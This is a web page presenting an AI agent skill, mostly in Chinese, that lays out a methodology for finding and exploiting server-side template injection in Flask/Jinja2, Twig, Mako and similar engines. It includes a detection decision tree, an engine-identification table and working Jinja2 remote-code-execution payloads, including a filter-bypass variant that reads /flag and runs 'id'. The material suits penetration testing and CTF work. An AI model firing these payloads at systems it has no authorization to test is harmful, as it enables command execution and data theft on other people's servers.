Ssti methodology

From wgpsec/AboutSecurity · View interactive version

Ssti methodology is an AI agent skill from the GitHub repository wgpsec/AboutSecurity. 服务端模板注入(SSTI)的检测、引擎识别和利用。当目标是Flask/Jinja2/Django/Twig/Mako/Pug应用、存在用户输入回显、参数名含template/name/message/greeting时使用。Phase 0/1即覆盖快速检测和引擎识别,无须单独skill。如只需快速检测定位可直接使用Phase 0/1,无需阅读完整利用部分

How to use this skill

Skill file

SSTI 服务端模板注入方法论

⛔ 深入参考(确认引擎后必读对应文件)


Phase 0: 注入点定位(最先执行!)

不要盲目在所有参数上尝试 SSTI payload! 先定位哪些参数会被模板渲染:

  1. 用 analyze_response 观察哪些参数值出现在响应中
  2. 只有回显到页面的参数才可能是注入点
  3. 常见回显参数:name, username, message, greeting, template, title, q, search

陷阱:HTML 转义的回显(< → &lt;)仍可能被模板渲染——{{7*7}} 可能生效。

Phase 1: 检测模板注入(决策树)

Step 1: 发送 {{7*7}}
  → 返回 49 → 进入 Step 2
  → 原样返回 → 不是 Jinja2/Twig,进入 Step 3
  → 返回空/错误 → 可能有过滤,尝试 {{7*'7'}}

Step 2: 发送 {{7*'7'}}
  → 返回 7777777 → Jinja2 (Python) ★最常见
  → 返回 49 → Twig (PHP)

Step 3: 发送 ${7*7}
  → 返回 49 → Java EL / Mako / FreeMarker
Step 4: 发送 #{7*7}
  → 返回 49 → Ruby ERB 或 Pug

Phase 2: 引擎识别辅助表

| 引擎 | 语言 | Server 头线索 | 确认方法 |

|------|------|-------------|---------|

| Jinja2 | Python/Flask | Werkzeug, gunicorn | {{config}} 有输出 |

| Django | Python | WSGIServer | {{settings.DEBUG}} |

| Twig | PHP | Apache+PHP | {{_self.env.display('id')}} |

| Mako | Python | - | ${self.module.__builtins__} |

| FreeMarker | Java | Tomcat, Spring | ${.now} 返回当前时间 |

| Pug/Jade | Node.js | Express | #{7*7} 返回 49 |

Phase 3: 利用决策树

确认引擎类型
├─ Jinja2?→ [references/jinja2-exploitation.md](references/jinja2-exploitation.md)
│   优先级:上下文变量 → config → 文件读取 → RCE(lipsum链)
├─ Twig?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
├─ Mako/FreeMarker/Pug?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
├─ Django?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
│   无 RCE!优先级:上下文变量穷举 → request.META → settings → admin 路径发现
└─ 有过滤?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)(过滤绕过部分)

Jinja2 速查(完整 payload → references/jinja2-exploitation.md):

{{lipsum.__globals__['os'].popen('id').read()}}       # RCE 首选
{{config}}                                              # 读配置

注意事项

Phase 4: 高级利用技术

4.1 子类遍历与 Payload 构造

4.2 过滤绕过技巧

```python

{{ lipsum.globals['os'].popen('cat /flag').read() }}

{{ request.class.init.globals.builtins.exec("imp"+"ort('o'+'s').system('id')") }}

```

4.3 利用顺序

⛔ Agent 行为规则

⛔ NEVER

✅ ALWAYS

🔧 工具偏好

  1. http_request — 模板注入测试(精确控制输入点)
  2. 读取 references 文件 — 确认引擎后立即读取对应 references
  3. python3 — 复杂 payload 编码/构造
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.